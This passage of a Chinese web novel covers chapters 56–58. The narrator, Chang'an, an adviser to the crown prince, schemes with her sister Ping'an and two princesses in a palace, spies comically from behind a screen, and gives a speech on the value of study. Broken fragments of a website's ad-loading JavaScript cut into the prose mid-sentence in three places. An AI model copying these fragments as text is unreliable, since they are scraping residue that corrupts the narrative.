“他光顾着练功,没及时叫醒我,你看这会儿太阳都下山了……”平安吃着东西,鼓着腮帮子埋怨,可爱极了。堂邑夫反驳说平安实在夸张,这会儿离太阳下山还早,说平安要去马场会情郎,他现在就可以立即快马加鞭送她去,保证眨眼功夫就到。 “不许和妹妹这么说话!”我在堂邑夫胳膊上轻轻虚掐一下,又转头对阴转晴的平安柔声道:“哦,不用去马场了,平安你不是老早说长安城解除宵禁了想去夜游长安吗,我跟郑清说好了,让他回家收拾下,晚上咱们一起夜游长安城去。” “真的,那我赶紧回家沐浴更衣,再换个装扮。”说罢平安把手上的一小口馒头塞嘴里起身要走。 “啊?连饭都不吃了?哎哎哎,你别急着走,你这个妆容就很好,你瞎折腾什么?”我赶紧拉住她。 “好什么好,你看我这花都蔫儿了,脸上的妆也淡了,我怎么能带着残妆,顶着一头蔫了吧唧的小花去见他呢,他会不喜欢的。”平安一边说着一边将辫子上的小蔫儿花摘掉。 我气不打一处来,心口憋得难受,黑着脸道:“你就顶了一坨屎,他都会喜欢的。”他要敢不喜欢你,敢对你挑三拣四,我弄死他。 平安一愣,蹲下身子掐我脸蛋,才想骂我,就忽然很厌弃的捂着鼻子,道:“长安你身上什么味啊,哕……”平安知道这样很失礼很伤人,努力克制,但还是不停地干呕,连忙背过身子。 我简直伤心死了,又怕她把刚吃下去的东西呕出来,就忙退到一边下风处,示意柳花郎给我妹妹递水压一压,“哟,你家郑清都给马粪淹入味儿了,你都闻不出来,我才沾上点,你就哕上了。” 平安一口水也喝不进去,不住地干呕,忍得眼睛通红,抹了抹泪,道:“行了我不跟你说了我得赶紧走,哕,女为悦己者容,我得赶紧回去换装,哕……” “他奶奶的我一生都在攻略别人,我妹妹自己攻略自己,真是要了血命了。郑清到底给你灌了什么迷魂汤,三句两句不离他。”我简直要怄死。 平安训斥道:“长安你敢说脏话?” 我一脸吊儿郎当,“说都说了,你问我敢不敢?你先别走,搁这儿等着,咱等会再吵,先把正事办了。”说着我就招手让荣玥公主过来。 荣玥领着屁颠儿屁颠儿的荣珺,穿过莲池里的竹桥快步过来,我行了一礼,直入主题:“公主你说说你的想法。” 荣玥眼睛一转,直话直说道:“读书我倒是不着急,我其实最想的就是能不能让父皇把成年的年龄改了,往后延延……” “不行。”我直接否决,见荣玥脸色不好,赶紧解释:“哦不,是眼下不行,高阳郡主陈娜娜眼瞅着就成年了,得让她赶紧行完及笄礼,赶紧和太子殿下成婚,太子不小了,陛下这个年纪都有你八哥了。你大哥哥,咱们的太子殿下,得赶紧迎娶太子妃,再多纳几个良娣美人,快快开枝散叶,天下人都盼着呢。高阳郡主下个月就成年,你的成年礼要到腊月且得等呢,这期间时间还长,足够让户部考察民意,陈情上奏,到时候出什么新政都可,不着急。先按兵不动吧,别漏了风声,别人家也不想成年故意拖延等着出新政,可不是把咱太子殿下给坑了?!”我给荣玥吃了颗定心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 丸,让她稍安勿躁,她毕竟皇室子女,晓得其中厉害,自然会安心等高阳郡主的成年礼过去。 我接着道:“现在首要任务是赶紧放淑妃娘娘出来,以前宫里人少,宫务也少,现在不行,亲王进京,太后寿辰,太子大婚,万寿节,公主及笄……等等,事务太多,都要及早提上日程,早早预备。眼下广采宫女,人员教引,各宫调配,宫务实在繁忙,淑妃再不出来协理六宫,主持宫务,贤贵妃娘娘就要累倒了,天天一个人累得四脚朝天,气都喘不过来,都没时间看顾七皇子了。” 贤贵妃再累,也硬挺着不敢表露分毫,不然会让人觉得她没有才能,不如淑妃,也会让陛下失望,认为她不堪重用,所以只能强撑着,可是眼下事情都赶在一起了,就算是正宫娘娘主理六宫,这个时候也会将宫务分配给妃嫔协理。贤贵妃还牵挂病儿,时间久了身体会吃不消,会累倒的,到时候淑妃娘娘还是要出来理事的,重担还是一人挑,身子也会吃不消,不如及早放出来,姐妹相互扶持,把宫务做好,还能看顾好各自的孩子们。 我如此一番解释,公主很是认同。 “七皇子?七皇子不是……”平安弱弱的问。七皇子的疯病,不是秘密,大家都有耳闻。 傍晚的荷塘上,有很多蜻蜓,我抬着胳膊,伸出食指,就有一只蜻蜓落在上面歇脚,我稍稍一动,它就飞开,然后等我不晃动了,它便又落回来,想来是把我当做风中摇曳的竹竿了。我玩心大起,却也不忘回复,道:“没你们想象的那么严重,挺好玩的一个人。我可喜欢他了,我好爱和他玩的。” “他不会也是被人陷害的吧!”平安知道惠王的事,也听说了齐王的事,低声在我耳边道。 “那倒不是,是胎里带出来的。”我收回胳膊,看着那只和我玩了许久的蜻蜓飞远,汇入一众蜻蜓,再也分不清哪只是它,呵呵,一个过客,就像一路走来,遇见的人一样,缘聚我在人海里看他,缘散我看他在人海里。 想到这里,我不禁笑了笑,收回心神,道:“贤贵妃的六皇子早产,打出生起就一直病病歪歪的,六皇子早幺的时候贤贵妃正怀着月份儿尚浅的七皇子,不多久皇后娘娘薨了,贤贵妃是皇后娘娘的人,骤然失了依仗和儿子,肚子里的又不知道是男是女,淑妃娘娘又生的艳压群芳圣眷正浓,贤贵妃肯定哀恸欲绝,惊惧不已,忧思过度,诚惶诚恐,怀胎十月精神太过紧张,所以孩子在胎里就伤了,难免神经兮兮的,不太好治,但不是大病,七皇子是个妙人,有机会我带你认识认识。” 平安点点头,但兴趣不大。她可没心思认识别的男人,还是一个精神不太正常的男人。只是好奇为什么长安的品味和她的差别这么大,不说是相去太远,她们简直——天差地别的。 荣玥不说话,荣珺忍不住低头,轻轻道:“……我母妃人很好的。” 这俩姑娘多心了,我笑了笑,道:“哦,别多心,自古后宫就是这样子的,争风吃醋,互相防备,都是为了皇帝的恩宠嘛,只要不做什么伤天害理的事儿,没什么好指摘的,我那一番话不是说你母妃不好的意思,你母妃人不错,我才想办法说如果能借着你们读书的机会,解除淑妃娘娘的禁闭,出来帮着料理宫务,分担贤贵妃娘娘重担,和你们姊妹团聚啊,若能恢复位份自然更好。” 两位公主听了我的话,你看看我,我看看你,若有所思,却都不说话。 平安是个热心肠,急切道:“那公主又不敢去要恩典,咱们怎么跟陛下说啊,毕竟是皇家的事儿,就算是公主委托,说不好会被陛下误会代行君权吧。咱们是平民,长安虽然是太子殿下的谋士,也很得陛下喜爱,但到底没有正式的官身,敢插手皇帝的家事,对宫里的事,指手画脚,说三道四,找死呢吧。到时候咱们在菜市口排成一排,就像现在这样子,你看,公主还给咱们准备上路饭呢。” 平安说着指了指她吃剩下的饭菜,众人觉得此时此景确实……但也不害怕,只不自觉的摸了摸脖子,一阵哈哈大笑,也就算了。 56. 试探 “那皇帝女儿不肯亲自去说,委托咱们帮忙张罗读书的事,咱们没资格又拿捏不好尺度插手,那当然是走程序上折子觐言啦,找太子殿下呗。”我道。 我和平安还有两位公主,悄悄摸摸从内殿侧门进了刘景的寝殿,堂邑夫柳花郎在外面等着,冲守门的侍卫,尴尬的笑了笑,热脸贴了冷屁股,越发尴尬,两个人清了清嗓子,聊些有的没的。 事先交代她们一番注意事项——一定不要弄出声响。达成一致,我们便从内殿蹑手蹑脚的推开前殿的门,一个接一个悄咪咪地遛出来,趴在正殿与内殿交界处的屏风边上,漏出一排四个脑袋向外看。刘景和太子在审阅奏折,再下边依次排开是各位亲王,正在读书,或者临帖,誊录皇家私藏的典籍,也有在对弈的……大殿上极为安静…… 刘景感觉到了我们,他刚转头,我们四个便瞬间缩了回屏风后面去。 平安拍着胸口,仿佛劫后余生,心有余悸,小声道:“好险,差一点被陛下看到。” 荣玥吓得眼泪都要出来了,红着脸,肩膀抖着,紧张的不行,压低嗓子道:“我,我好像被父皇看到了,眼神有对视上。” 我有些无语,无奈的低声道:“嘘嘘嘘,别说话,快些住口,小点声吧,发现就发现吧,大殿里多了四个人,谁会感觉不到,陛下就算没看到,也会听到的好不好。没把咱们叫出去搁明面上,就默许啦,我们不要打扰陛下办公,走,太子殿下在那边,我们去那边。慢慢爬过去,不要出声响。不然不是被叫出去训一顿,就是被赶出去了,事儿就办不成啦,牢记我刚才的交代哈。” 她们三人认真的点点头,跟我保证,让我放心。平安还习惯性的跟我做了一个“OK”的手势,我回了一个。平安后来说,当时有种当特工的感觉,很刺激。我问她什么是特工,她想了半天,说是细作是卧底。我很无语,我可是天下第一刺客,将来的天下第一谋士,怎是细作和卧底可比的?!果然是没见过世面……一回想起她们做任务时候的样子,我就要死……还什么有种当特工的感觉,还什么感觉很刺激,哪家组织敢派她们这么不入流的特工出来做任务?活腻了吧。哦,好像是我带她们的…… 我们爬到屏风另一边,四颗小脑袋又排成一排,看着太子,太子正在看奏折,正襟端坐。 平安不由的赞叹:“哇,太子殿下好帅啊。” 我也看迷了,很赞同平安的观点,“对吧对吧,我眼光不错吧,我就说殿下很帅吧,你还非给我犟,说谁也比不上郑清。” 我痴痴地看着太子殿下,他的侧脸,迷人极了! 荣玥两只手在嘴边做喇叭状,然后小声呼喊道:“太子哥哥……” 平安也双手放在嘴边做喇叭状,稍稍提高音量,一字一顿:“太,子,殿,下……” 荣珺也有样学样,可整个人都要出去了,在她开口之前,我赶紧把她拉回来,又把平安和荣玥也拉到屏风后面,小声斥责道:“疯啦,都疯啦,叫殿下干什么?” “不是你说的找殿下帮忙吗?”平安疑惑的问。 我翻了个白眼,“你能不能有点数,能不能清醒一点,公主就算了,你什么身份,我什么身份,咱们什么东西?胆敢叫太子殿下过来给咱们跑腿办事儿,疯啦?比七皇子还厉害?”带着一群猪做任务,我简直要死了,“说好了一切行动听指挥,进了大殿就都忘了是不是?不行就赶紧出去吧,省得帮倒忙。” 她们定然是不肯出去的,只争辩解释说自己也是好心。 “找殿下帮忙,得找殿下身边的人递话,哪有把殿下叫过来的道理?你们闭嘴看我的吧。”在我的眼神警告下她们噤了声。 想必已经惊动殿上的尊者了,他们只是不和我们计较而已,那我就好好借机会教教我平安一些小技巧吧。 “来,看着哈,你想找一个人,就得引起他的注意,你就盯着他看,专心致志的盯着他看,目不转睛,他就一定会回头和你对视的。很神奇的,屡试不爽,啧……”我低声教导着平安,却见韩燕熙向我们看过来,我不禁蹙着眉头,厌恶得瞪了他一眼,拉着平安和公主回到屏风后,责备平安,“……你盯着他看了?” “没有。”平安委屈地摇摇头。 我舒缓脸色,思考道:“也是,韩燕熙那个傻子,你不看他他自看你。好啦别说话,集中精力,看……张子文,都给我盯着张子文看,就看他,使劲看他。” 三个美人儿接到任务,坚定地点点头。于是我们再次探出屏风…… “哇,张子文,他好帅啊。”我正努力盯着张子文看,头上就传来平安幽幽的夸赞声和公主的应和声。我脑子一热,压着怒气,将她们又拉回屏风后面。“平安,你要疯啊!” “真的很帅嘛,以前都没仔细盯着看嘛。”平安按捺不住激动,犯着花痴狡辩道。见我黑着脸,才收敛,“好嘛好嘛,我专心一点,你别生气。” 于是,我们继续任务,可是,没一会儿……“啊,陛下好帅啊,哎哎哎,你快看,你父皇的侧颜简直神了,真的好帅,你快看,啊……亲王们好帅啊,哎哎哎,你快看你哥他们真的好帅啊……”公主被平安引得东张西望,目不暇接,完全脱离任务。 我感觉自己忍到极限了,再次压着火气,忍住不爆炸,耐心拉平安回到屏风后面,深呼吸,沉声道:“平安!你到底有完没完,陛下当然很帅,亲王当然也很帅,但是,需要你这个时候给我验证吗?” “……可是真的很帅嘛!” “没否认啊,是个人,眼不瞎,都能看出来啊。可这是重点吗?”我们在做任务啊,大姐? “这不是重点吗?真的好帅!”平安完全花痴掉了。 “……陛下年轻的时候就很帅啊,现在就算四十多岁了,依旧丰神俊朗,你犯花痴也说得过去,那亲王里一大多半是他的种,当然也会很帅,你心生荡漾也在所难免。太后年轻的时候就是绝世美人,荣玥荣珺也都是一等一的大美人,整个老刘家就找不出一个丑人来,可是,平安,你好不好先帮公主办完事儿,再专心致志看美男?你看看你那没见过世面的样子!这会儿你能不能想想你家郑清,我真是无语了,说你桃花眼吧,偏你贞洁的满心满眼都是郑清,说你贞洁吧,你这会儿看谁都好帅,都看花痴了,我真是服了。” 平安低头,红着脸深刻反省,然后郑重其事和我保证。 可我果然不能信任她……“世子们好帅啊,伴读郎官们也好帅啊……”偏偏公主也被她带偏,跟着她赞叹不已! 特么我的亲大姐啊,我们做任务呢!你能不能专心致志就看张子文,你能不能不要乱看……“快闭嘴吧,我的天爷啊……”我惊得满头满身是冷汗,再次把平安拉回来,都要把她瞪死了,长长输了口气,道:“行了行了,都别看了,我自己看吧。光顾着看男人了,眨三下眼的功夫,除了张子文,你把殿上的男人都看全了!正事呢,正事都给忘啦。你根本就是好花心,看这个也帅,看那个也帅,还记得你家郑清什么样子吧?算了我自己看吧,你们谁也不许探头出来!” 她们哪里肯老老实实在屏风后面待着,荣玥低声道:“今天的奏章好像很难看,伯伯的棋也好像很难下,哥哥们的书也好像很难读。你看父皇太子还有哥哥们这页都看了好久了都没翻书页,伯伯盯着棋盘都愣住了,迟迟不落子。” 岂料她话音刚落,堂上的男人们就整齐划一的翻了书页。我抽了抽嘴角,心下了然,勾着嘴角坏坏一笑,来吧,大家一起演才是场好戏。 平安小声道:“好有默契。” 我道:“那是当然,父子同心嘛,肯定心有灵犀。” 那边庆王和逍遥王,不知道该谁落子了,最后说是平了,收拾棋子,要再下一盘。 我探着头,趴在屏风边上,感觉张子文马上就要转头与我对视了,谁知这个时候刘景却要转头,我赶紧缩回去,却听平安娇弱地啊了一声,我本能地回头捂住她嘴巴拉着她往内殿走,示意两位公主随我们一同回到内殿。 进了内殿,抬头见平安蹙眉捂着心口痛苦的样子,赶紧放开她关心道:“怎么了怎么了?” 她捂着胸口道:“刚你忽然撤回,我躲不及,老虎尾巴戳到我胸口了。” 荣珺作证:“嗯,我刚才也看到了,刚好戳到平安姐姐的咪咪了。” 平安脸色一红,道:“平安,大热天的你把帽子摘了吧,虽然你已经是什么玄止境,感觉不到四时季候,但穿戴总要合乎时宜啊。” 我按着虎头帽子,怕平安给我摘了,“不不,我就要戴着,我喜欢。” “那我帮你把这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个虎头帽子的尾巴掰一掰好不好?这里面我加了铁丝,可以改变尾巴的形状。” “原来是有铁丝撑着,怪不得又粗又硬的坚~挺挺的。” “所以啊,戳得我胸口好痛,我帮你掰弯一点好不好?”平安说着将我转过去,伸手握住我的老虎尾巴。 我赶忙躲开,却还是被她拉了回去,我拽着我脑后一小截老虎尾巴,往前挣,“我不要我不要,我就觉得这样直挺挺的才好看,显得我的老虎很有雄风。” “哎呦,你放心好了,我不会把它掰的很弯,就只是让它别直挺挺的稍稍往上翘一翘,那样会更有雄风的,相信我。” 我想想了一下样子,点头同意,安心让平安帮我整理老虎尾巴。 “可是这样子,会直接戳到平安姐姐嘴里吧。”荣玥比划了一下我的高度,和调整后的老虎尾巴的角度,说道。 我伸手摸了摸我心爱的老虎尾巴,有些担心。 “应该不会吧,我又不张开嘴巴迎合,应该戳不到嘴巴里。”忽然平安感觉似乎有些不大对头,不等我转身,又按住我道:“我还是往下掰一掰吧,哎妈呀……”她刚一上手,就惊叫起来…… “怎么啦,怎么啦?”我紧张地回头问。 平安愣在那里,荣玥也一脸不知道怎么和我交代,荣珺略带伤心地道:“掰断了!” 我大怒,闹起脾气来,抱着双臂,缩着下巴,噘着嘴巴,涨红了脸,宁着眉头,埋怨:“我就说不要不要啦,你非是不听,刚才那样子最好啊,你非要掰来掰去掰断了吧,哼,好气,气死了!我不要理你了!” “嗷呦,尾巴而已,都快掉眼泪了还,你看你气的,我又不是故意的,这个是因为时间太久了,里面的铁丝老化了,所以一掰就断,我又不是故意给你搞破坏,不许冲我生气,回头我再给你换一根,再给你做新的?”平安捧着我皱成包子一样的小脸,哄道。 “不要不要,我就要这个,我就要刚才那个尾巴。”我能感觉到老虎尾巴耷拉在脑后的样子,更恼火死了。 “长安,不可以耍脾气哦?”平安这是耐心已经快用完了,在警告我了。我只能见好就收,不然会反过来换我去哄她了。 我抹了抹因为伤心恼火快要掉出来的眼泪,走出内殿,继续去屏风后面躲着做任务,回头对跟上来的三个美人儿道:“你们不用再跟着看了,我一个人看就好了。”她们只管点头答应,却毫无结束任务的意思,有时候手下的人参与感太强,太积极,太热情,也不是好事儿。不管了,反正她们爱玩爱闹,天真烂漫不自知,有人看着开心听着喜欢,还乐意奉陪,演得起劲儿还那么投入,人家的包容度,配合度这么高,我也得包容得配合不是? “啧,真是好奇怪啊,以前这一招很好使的,今天怎么失灵了,还起反作用,不仅不看我,还转过去了,啧,你看,不嘀咕还好,一嘀咕,彻底背过身去了!”我看着张子文的背影,心里那个气啊,你一个伴读,参与感这么强干什么? 我承包了整个任务,平安和两位公主果然完全抽离出来,在屏风另一边更明目张胆的看美男,偏偏对我的话还有回应,“对啊,越看越不回头呢!太子殿下,亲王世子,还有伴读郎官,也都侧过头去了。长安你这招不好使耶。” 平安忽然眼睛一转,转过头小声问道:“他们是不是能听见咱们说话啊?”我这妹妹还不算傻。 荣玥很是确定道:“当然听不见。” 荣珺点点头道:“对啊,我们已经很小声了,如果我们声音再小一点,我们自己也听不见了。” 平安撤回身子,道:“可我总觉得……他们反应有点特别。” 演技还不纯熟呗,还能有啥特别的。我不语。 “没有啊,很正常啊,他们平时也这样,忙起政务就很认真,很投入,不理人的。”荣玥确定道。 平安眼睛又转了转,思量道:“郑清他们驯马都是不用说话用手势的,你们能看懂手势吗,咱们别说话了,用手势交流如何?” “我们不会看手势啊。”荣珺为难道。 “对呀,我们不会看手势,也不会做手势,光你一个人懂,怎么交流啊。”荣玥道。 “我可以教你们。”平安认真道。 “现,现教啊。”我生无可恋。 57. 断尾 说实话,我做任务,从来没有暴露过,更别说这么明目张胆的暴露啦,这仨儿居然还拉上呱了,真是把任务交给我,她们很放心,立时就解脱了,事,完全不关己的样子,我去!我这是给她们打着信任的名头,抛弃了吧?这特么比做任务的时候背刺还难受,平安居然敢提议现学手势,好在人公主不想学,不然平安非现场开设课堂不行。 我倚着屏风,一脸生无可恋,心情就像我那根断了的老虎尾巴,索性加入拉呱,撇撇嘴道:“我就说郑清把你当马驯了吧。” 平安否认,“没有没有啦,我是耳濡目染自学成才。”又探头出去,看了看前殿,缩回来道:“我总觉得他们可以听见我们说什么。” 哼哼,有的时候要相信直觉啊,我的妹妹,感觉不对劲儿就是不对劲儿。所以别什么都说啊!我用眼神暗示平安,平安问我是不是眼里进东西了,我,我啥也不想说。 “听不到的。”荣玥坚定道:“可能呢,会感觉到咱们的存在,但是呢,咱们说的话,他们肯定是听不清的,在他们耳中,咱们的声音,应该就像小老鼠那样叽叽喳喳的,具体什么内容,他们听不到的。” 荣珺觉得姐姐说的十分要道理,补充道:“对啊,刚才咱们这么大声叫太子哥哥,太子哥哥一点反应都没有。肯定是听不到的,太子哥哥那么和善,不会听见还不理我们的。” “长安你在想什么?” “我想死!” 忽然一阵风从荷塘吹来,大殿里充满了荷香,却也吹散了奏折书本。 大家手忙脚乱,有的捡着奏章,有的忙关窗子…… 庄助捡着捡着,就到了屏风这边……公主和平安都吓得花容失色,捂着嘴巴颤颤巍巍缩在那里不敢动弹,生怕被发现的样子。我还真是佩服庄助,硬着头皮,捡完奏折,愣是没看我们一眼,连余光都没扫一下。 “是不是被发现了?”平安惶恐,额角一层薄汗。 荣玥道:“没有,他都没看见我们,说明没发现。” 荣珺对姐姐非常信任,点头赞同道:“对!” 好吧,大姐们,你们说的都对。我长安长这么大,就没佩服过什么人,这个荣玥公主绝对算一号。 哎,不对啊,我跟她们不一样啊,我是男人,我是太子的私臣,我在这里瞎磨蹭什么,我直接去不就行了?哎呀,近朱者赤近墨者黑,我被她们传染了,简直笨死了。 平安听我这般嘀咕,瞬间黑了脸色。 我赶紧起身,轻手轻脚走出屏风,走到太子书案后的柱子后面,扯了扯正在太子身后整理奏章的张子文的衣角,示意他出来一下,张子文擦了擦额角的汗,好像一场什么难打的仗终于结束了,他身上紧绷的肌肉一松,肩膀一沉,舒缓下来,看一下正在忙公务的太子,不做打扰,恭恭敬敬地矩着礼退了几步,跟着我一起穿过内殿边廊,从侧门到了殿外。 韩燕熙也跟了出来,见着我就一脸坏笑哈哈道:“长安,你的老虎尾巴,断掉了,就像那天你掰断的那根黄瓜一样。” 哼,刚才在里面就你肩膀抖得最厉害,这会儿看着后槽牙的肌肉都健硕了不少,忍得很辛苦吧。可让你逮着了机会,出来奚落我。 平安看见韩燕熙也出来了,就躲在内殿里听我们谈话。我没给韩燕熙好脸色,“你笑够了没有,你再说,我就掰断你,我甚至都不用上手,只要轻轻一指……你信也不信?”说着瞄了一眼内殿。 内殿里平安轻笑,这让韩燕熙很没面子,他可不想在平安面前出丑,哼了一声,撂下一句算你狠,就转身回了大殿。 我将要办的事情事无巨细告知与张子文,他轻车熟路,让我感觉他早已知晓详情,只是佯装听得很认真,记得很仔细的样子。 风乍起,荷叶婆娑作响,我看了看荷塘对面的水榭,又看了看大殿的窗子,眼睛一转,心下了然……哦,原是这样……世界果然是个无比大的大戏台子……感情人家早就什么都知道了,正等着看我们如何演绎呢。 我心里震动,却坦然自劝,哎,别认真,认真就输了,开心最重要,特别是能让有些人开心最最重要……而且,咱也不是一点收获没有,起码在一步一步试探的过程中,通过人家的举止态度,配合包容,又发掘了新的君臣边界,方便以后做事拿捏分寸,这是最重要的啊。 四两拨千斤,通过意图摆脱公主纠缠,劝公主读书的事儿,将手伸进宫廷,左右妃嫔调度,这事不小,我还是隐匿一段时日吧。聪明不过天子,皇帝未必想不到这一层,只是我演技高,又有平安做配,还有公主这两个糊涂蛋,稀里糊涂歪打正着做了掩护,只当我们是小儿女家突发奇想,误打误撞罢了。可我若还不及时收敛,见好就收,太扎眼,刘景回过味儿,计较起来,我可吃不了兜着走。 想到这里,我身子一紧,心下便有了计划…… 那么,接下来我们就安心等太子上折子请奏,陛下批阅回示就行了。此事在这儿就断了,结果如何,绝口不提即可。 事情都办完了,平安说她今日太消耗了,刚才垫的那两口,也吐了,现在饿得不行。公主就在内殿给她加餐。她奇怪我身上怎么忽然就没有味道了,我骄傲的说我是玄止境,我想啥味儿就啥味儿。其实暗自心疼内力,昨晚算是白练了。不过,那又怎样?总之是不能熏到我妹妹的。 我看内殿的瓶花,赞叹真是好看。荣玥公主也应和,说午膳后父皇小憩,看到后十分喜悦,夸赞说有老唐遗风,她还说以后闲着没事要跟平安好好学学。 平安羞赧,慌张道:“老唐遗风?哎,我什么都不懂,乱插的,公主可别骚我了。”平安看了看低头喝酸梅子饮,认真品味的我,蹙眉说什么怕人耻笑,劝我把虎头帽子摘了云云,我自不愿意,她又道:“可是别人看着会感觉你很奇怪的。” “奇怪就奇怪嘛,我从来就不在意别人的眼光。” “摘了嘛,摘了嘛,看着真的很奇怪。” 我知道她说的是韩燕熙,却故意道:“所以,那个‘别人’其实是你?”见平安不说话,别过头去吃饭不再理我,我怕她生着气吃饭伤了肠胃,便缓和道:“逗你的,别生气,嗯……我戴到今晚上夜游为止好吗?我真的很喜欢这个帽子,真的很舍不得摘。” “好吧。” “那待会儿我们回家,你就帮我换一根新的铁丝好吗?”我有些心疼的摸了摸脑后的断尾。 平安想了想道:“可是换铁丝的话,要把尾巴拆开,有一点麻烦,今晚要逛夜市,恐怕不行,明天吧。” “要等到明天?”平安最是喜欢拖延,明天复明天,这尾巴怕是没戏了。我心急的不行,原打算晚上逛完长安城,回来练功要戴着的,“讨厌啦,我就说不要掰不要掰,非要掰!都没有雄风了!” “但是还是很可爱啊!” “可爱个屁,很滑稽吧,尾巴都断了!”我生气的别过头去,后脑勺的断尾,甩了一下,然后来回晃荡,惹得公主们轻笑。 “好啦好啦,我辛苦一些,今晚逛完夜市回来,就给你弄好了吧。”平安鼓着满满当当的腮帮子承诺。我这才满意。 公主很羡慕我们晚上去夜游长安城,却也没办法,平安说会给她们带礼物,这便足以让单纯可爱的她们一扫阴霾,快乐的仿佛跟着一起夜游一样了。其实,做公主,也没有那么自由,那么快活。我思绪有那么一瞬回到小时候,抱着水晶杯,机械地小口小口喝着酸梅子饮发愣。 “我以前都没注意,太子殿下的伴读郎官们都生的好好看啊。”平安觉得简直秀色可餐,饭菜都比平时好吃。 我思绪被拉回来,翻了个白眼,道:“当然啦,他们都是为太子殿下万里挑一的人才,不光样貌出众,才学也是一顶一的好,家世就更不用说了,那可都是人中龙凤啊。俗话说,与凤凰齐飞必是俊鸟,能在太子身边,当然都很英俊很帅气玉树临风风度翩翩才学渊博学富五车……所以那日在太液池游船,我跟你说闭着眼睛随意指一个嫁了,都是好郎君好夫婿,那可不是瞎说!可你非郑清不可啊。”平安的脸红到脖子,我不理她,不给她和我吵的机会,赶紧对两位公主继续道:“等公主也上学读书了,娘娘也会给你们选一些好姑娘当伴读,女中豪杰啦,巾帼不让须眉啦……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 平安打断我道:“哎呦,长安呐,公主读书是要上战场的吗?选什么女中豪杰,什么巾帼不让须眉?自然是要选一些金枝玉叶,大家闺秀,名门淑女。” “平安,到时候你也来好不好。我们跟母妃说,请你一定要来。”荣玥诚恳道。 “公主厚爱啦,她不够格,你们想找她玩,随时叫她进宫就行,伴读就算了,我们平安就是小家雀,怎敢痴心妄想跟凤凰一起飞。”平安点点头,很赞同我的话。我看平安也吃好了,就和平安一道辞别两位公主,打算和堂邑夫柳花郎回平安的小院儿修整一下,时间差不多了就进城。 我们出了内殿,霞光正好,莲池里的荷叶镀了金边,荷花像金子一样闪闪发光,晚霞中的红蜻蜓落在平安的肩头,吓得平安花容失色,我忍不住哈哈大笑,为她驱赶,平安不敢再靠近荷塘,让柳花郎去水榭把她的乐器和大包包取来。 我们在大殿宫门口等柳花郎,我让堂邑夫去给惠王和齐王送口信,约他们晚上一起夜游长安城。 谁知这二人简直慢死了,迟迟不回来。我和平安便坐在殿前的石阶上闲谈。平安忽然提起今天的任务,复盘了一下,说除了临时抱佛脚——我事前提点的那几句以外,她劝学的道理都是闺阁之语,难逃情啊爱啊的,小儿女的见解不上台面,问我,如果公主问我为什么读书,我会怎样回答。 我道:千人同茶不同味,万人同道不同心,读书这件事每个人都有每个人的理解,只要是劝学的,都是好道理。她的那一番见地已经不凡,解答的很好很有水平,劝学公主是最最合适不过的了。平安不要我夸她,说是想要了解我的想法,想透过我的观点,看我看的世界。她说这是彼此磨合世界观人生观价值观的好机会,要我一定开诚布公,毫无掩藏的教她。 好吧,闲着也是闲着,我呵呵一笑,道:“读书可以让我们身边优秀的人越来越多。” “这是自然。” “对于个人,读书让我们与强者同行,与智者相知,是我们通往幸福的机会,读书不一定让我们功成名就,前途似锦,但可以让我们出言有尺,嬉闹有度,说话有德,做事有余,让我们体体面面像一个真正的人一样有尊严的活着。 读书是最好的修行,最好的滋养,有书壮怀,灵魂便不会孤寂渺小,内心因此丰富,慷慨而辽阔,在跌宕起伏的人生中,拥有处事不变的坚强,在落入低谷,陷入泥淖时,拥有坚定不屈的力量。内心足够强大,岁月才可静好,读书可以让人拥有独立的思想,不必随波逐流依附他人而能清醒沉着的思考,有独到的见解,明白如何取舍,修得一颗通透的心。 心平能愈三千疾,心静可通万事理。平安,这个世界上,我们除了彼此,没有依靠,我们没有父母为我们疗愈伤痛,遇事,我们只能自救,自我开解,我们还太年轻,将来如何谁也说不准,我们只能不断地强大自身,迎接扑面而来的未知。 不读书,我们就不知‘道’,就会被别人定义,由别人主宰和决定,我们沉沦巨大的恐惧,没办法挣脱,只能盲目顺从,模仿,不知不知觉中被影响,被改变,被牵着鼻子走,会习惯依附,喜欢顺从,深陷其中,固执难返,永远失去自己本来的样子,却不自知。 读书是在富养我们的灵魂,我们的言谈,我们的气质,都会因读书而不同。获得无涯的胸襟,宽广的精神。读书是我们唯一向上的阶梯,是治愈的良药,是启迪智慧的良方,是唤醒心智的道场。妹妹,除了读书,还有什么是可以让‘我们’永远保持是‘我们’,永远选择是‘我们’的方法吗? 唉,说点热血沸腾的吧,说得高尚一点,对于国家,山河尚未一统,读书是为了求索救国良方,富国强民,恰逢五星出东方,天时地利人和,汉家兴盛,吾辈当矢志报国,肩负重任,不负韶华,开创盛世。 哈哈,大道理一说是不是升华啦?感觉我很伟大?哈哈…… 可,其实我读书是因为内心的恐惧,我害怕灵魂太过贫瘠,精神实在空虚,我害怕麻木,害怕自己不够好。其实对我而言,读书,最重要的是,一路走来,站到那个人眼前的时候,能够配得上啊。” 58. 复盘 平安久久不语,我故作轻松哈哈笑道:“我这些都太假大空,太冠冕堂皇,听上去振聋发聩,惊世骇俗的样子,仔细论起来还真不如你的那一番言论温暖肺腑,公主喜欢听你的。” “呵呵,真有你的,好会安慰人呢!还有一个问题,嗯,我问你,如果是你,听说公主害怕陛下,而不敢亲近,你当如何?”平安很是好学。 “嗯,我比较好奇根源,我想我会问问公主为什么害怕,为什么恐惧成那个样子。”我歪着头道。我们并没有预料到公主怕爹这件事,平安能随机应变,对陛下的赞美之词恰到好处,我对她很满意,那些话都是我平时挂嘴边上的,她都有用心听用心记下,她在努力学习,努力成长。虽然只是将我零散的随口之语堆叠拼凑,但到底千穿万穿马屁不穿…… 平安并没有因为我对她的认可而欢喜,反倒好像受到了什么打击,瞳孔瞬间放大,随后捂着心口,蹙眉颤抖,我赶紧扶住她,关心询问,平安哭道:“是,是啊,公主当时害怕极了,痛苦极了,哭着央求我帮她,而我却,可我却……不仅没有体谅她的痛苦和恐惧,反而还站在道德的制高点上,责怪她为什么全天下的人都爱戴陛下,唯有她作亲生女儿的独独惧怕……我分明是在说我们都敬爱陛下,只有公主害怕陛下是多么多么不孝顺,多么多么不懂事……我算什么,我到底算什么……” 